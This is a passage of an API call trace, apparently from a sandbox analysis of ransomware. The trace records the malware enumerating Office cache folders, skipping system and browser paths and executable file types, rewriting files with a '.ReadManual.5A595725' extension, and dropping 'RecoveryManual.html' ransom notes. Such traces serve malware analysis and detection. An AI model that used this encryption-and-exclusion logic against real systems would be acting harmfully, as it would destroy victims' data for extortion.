cFileName="branding.xml", cAlternateFileName="")) returned 1 [0196.589] lstrcpyW (in: lpString1=0x6ab93c, lpString2="branding.xml" | out: lpString1="branding.xml") returned="branding.xml" [0196.589] lstrcmpiW (lpString1="branding.xml", lpString2="RecoveryManual.html") returned -1 [0196.589] StrStrIW (lpFirst="branding.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.589] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0196.589] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0196.589] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" [0196.589] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.ReadManual.5A595725" [0196.589] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.ReadManual.5A595725") returned 112 [0196.589] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=31725815835) returned 1 [0196.590] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0196.591] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0196.591] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=596341) returned 1 [0196.591] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91975, lpName=0x0) returned 0x198 [0196.591] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0196.591] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.591] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0196.593] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0196.594] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91975) returned 0x25b0000 [0196.612] UnmapViewOfFile (lpBaseAddress=0x25b0000) returned 1 [0196.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=31728144119) returned 1 [0196.613] CloseHandle (hObject=0x198) returned 1 [0196.613] SetSecurityInfo () returned 0x57 [0196.613] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0196.613] CloseHandle (hObject=0x194) returned 1 [0196.613] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0196.613] FindClose (in: hFindFile=0x668128 | out: hFindFile=0x668128) returned 1 [0196.613] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0196.613] lstrcpyW (in: lpString1=0x6ab922, lpString2="AccessMUISet.msi" | out: lpString1="AccessMUISet.msi") returned="AccessMUISet.msi" [0196.613] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="RecoveryManual.html") returned -1 [0196.613] StrStrIW (lpFirst="AccessMUISet.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.613] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0196.613] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0196.614] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0196.614] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0196.614] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0196.614] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0196.614] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0196.615] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0196.616] CloseHandle (hObject=0x190) returned 1 [0196.616] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0196.616] lstrcpyW (in: lpString1=0x6ab922, lpString2="AccessMUISet.xml" | out: lpString1="AccessMUISet.xml") returned="AccessMUISet.xml" [0196.616] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="RecoveryManual.html") returned -1 [0196.616] StrStrIW (lpFirst="AccessMUISet.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.616] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0196.616] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0196.616] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" [0196.616] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.ReadManual.5A595725" [0196.616] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.ReadManual.5A595725") returned 103 [0196.616] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31728513043) returned 1 [0196.616] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0196.617] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0196.617] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=819) returned 1 [0196.617] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x333, lpName=0x0) returned 0x194 [0196.617] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0196.617] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0196.620] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0196.620] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x333) returned 0x2f0000 [0196.620] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0196.620] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31728857001) returned 1 [0196.620] CloseHandle (hObject=0x194) returned 1 [0196.620] SetSecurityInfo () returned 0x57 [0196.620] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0196.620] CloseHandle (hObject=0x190) returned 1 [0196.621] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0196.621] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0196.621] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0196.621] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.621] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0196.621] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0196.621] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" [0196.621] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0196.621] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0196.621] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31729016763) returned 1 [0196.621] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0196.622] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0196.622] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=2624) returned 1 [0196.622] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa40, lpName=0x0) returned 0x194 [0196.622] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0196.622] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.622] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0196.624] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0196.624] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa40) returned 0x2f0000 [0196.624] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0196.624] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31729288927) returned 1 [0196.624] CloseHandle (hObject=0x194) returned 1 [0196.624] SetSecurityInfo () returned 0x57 [0196.624] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0196.624] CloseHandle (hObject=0x190) returned 1 [0196.624] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0196.625] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0196.625] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0196.625] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C") returned="{91140000-0011-0000-1000-0000000FF1CE}-C" [0196.625] lstrcatW (in: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0196.625] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0196.626] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0196.626] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0196.626] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0196.626] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0196.626] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0196.626] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned 67 [0196.626] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0196.627] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0196.627] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.627] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0196.627] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi" [0196.627] lstrcmpiW 